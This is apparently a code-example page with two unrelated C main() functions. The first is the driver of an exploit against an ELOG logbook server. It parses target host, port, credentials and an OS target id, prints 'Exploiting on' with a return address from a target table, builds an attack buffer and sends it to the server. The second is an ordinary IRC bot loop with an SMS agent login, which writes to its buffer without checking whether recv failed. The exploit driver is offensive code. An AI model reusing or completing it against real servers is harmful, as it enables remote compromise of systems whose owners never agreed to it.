Ejemplo n.º 1
0
int main             (int argc , char *argv[])
{
   int       flg;
   int       port      = ELOGPORT;
   int       uniz      = 0;
   char      *logbook  = DEMOLOGBOOK;
   char      *hostname = NULL;
   char      *u_name   = TESTUSER;
   char      *u_pwd    = TESTPASS_DECODED;
   char      *write_pazzword = NULL;

   banner();
    while((flg = getopt(argc,argv,"h:p:l:o:w:u:r:dD")) !=EOF)
      {
        switch(flg)
         {
          case 'h':
               hostname = strdup(optarg);
               break;
          
          case 'p':
               port = atoi(optarg);
               break;

          case 'l':
               logbook = strdup(optarg);
               break;

          case 'o':
               id      = atoi(optarg);
                if((id == 2) || (id == 10) || (id == 11)){
                uniz++;
                break;}
                if(id == 6)
                uniz = 2;
               break;

          case 'd':
               listos();
               exit(1);
          
          case 'u':
               u_name  = strdup(optarg);
               break;

          case 'r':
               u_pwd   = strdup(optarg);
               break;

          case 'w':
               write_pazzword = strdup(optarg);
               strncpy(wpassbufdec,write_pazzword,49);
               break;

          default :
               usage(argv[0]);
               
         }
      }           

          if(!hostname)
             exit(1);
           printf(""GREEN"[+]"DEFAULT" Exploiting on %s : 0x%lx\n",TARGETZ[id].distro,TARGETZ[id].ret);
           alloc_all_globalz();
           build_att_buffer(uniz,id);
           authorize_user(u_name , u_pwd);
           get_server_version(hostname,port);
           check_for_clear_sector(hostname,port,logbook,0);
return(0);
}
Ejemplo n.º 2
0
/* 
 * main - Main function initializes everything ans starts irc 
 * loop which is responsible for keep alive irc connection.
 */
int main(int argc, char *argv[])
{
    /* Used variables */
    int sock, bytes;
    char buf[MAXMSG];
    MagtiSunLib msl;

    /* Irc info */
    IRCUser usr;
    IRCInfo inf;

    /* Thread safe */
    sync_init(&lock);
    slog_set_mutex(&lock);

    /* Greet users */
    greet("IRC Bot Derpina");
    slog(0, SLOG_INFO, "Logger Version: %s", slog_version(1));

    /* Catch ilegal signal */
    signal(SIGINT, clean_prog);
    signal(SIGSEGV, clean_prog);
    signal(SIGILL , clean_prog);

    /* Initialize logger and irc info */
    init_slog("derpina", "conf.cfg", 2, NULL);
    init_irc_info(&usr, &inf);

    /* Initialize irc config */
    if (!parse_config(CONFIG_FILE, &usr, &inf)) 
    {
        slog(0, SLOG_ERROR, "Can not parse config file: %s", CONFIG_FILE);
        slog(0, SLOG_ERROR, "invalid config file or missing some value");
        exit(-1);
    }

    /* Parse cli arguments */
    parse_arguments(argc, argv, &usr, &inf);

    /* Fix missing user input */
    fix_missing_input(&usr, &inf);

    /* Check logout argument */
    if (usr.logout) 
    {
        slog(0, SLOG_LIVE, "Logging out");
        msl_logout();
    }

    /* Login for agent mode */
    if (usr.agent)
    {
        /* User input info */
        msl_init(&msl);

        if (!msl.logged) 
        {
            user_init_info(&msl);

            /* Do login */
            if(!msl_login(&msl)) 
            {
                slog(0, SLOG_ERROR, "Can not login as agent");
                usr.agent = 0;
            }

        }

        slog(0, SLOG_INFO, "SMS Agent Version: %s", msl_get_version(1));
        slog(0, SLOG_INFO, "SMS Agent logged in as: %s", msl.usr);
    }

    /* Print irc info */
    print_irc_info(&usr, &inf);

    /* Authorize user */
    sock = authorize_user(&usr, &inf);
    if (sock < 0) 
    {
        slog(0, SLOG_ERROR, "Disconnected from server: %s", inf.server);
        exit (-1);
    }

    /* Some debug line */
    slog(0, SLOG_DEBUG, "Here we go!");

    /* Main loop */
    while (1) 
    {
        /* Recieve data from socket */
        bytes = recv(sock, buf, MAXMSG-1, 0);
        buf[bytes] = '\0';

        /* Log recieved data */
        if (strlen(buf) > 0) 
        {
            sscanf(buf, "%512[^\n]\n", buf);
            slog(0, SLOG_LIVE, "%s", buf);
        }
 
        /* Handle messages */
        handle_msg(sock, buf, usr.nick, inf.channel, usr.agent);
    }

    return 0;
}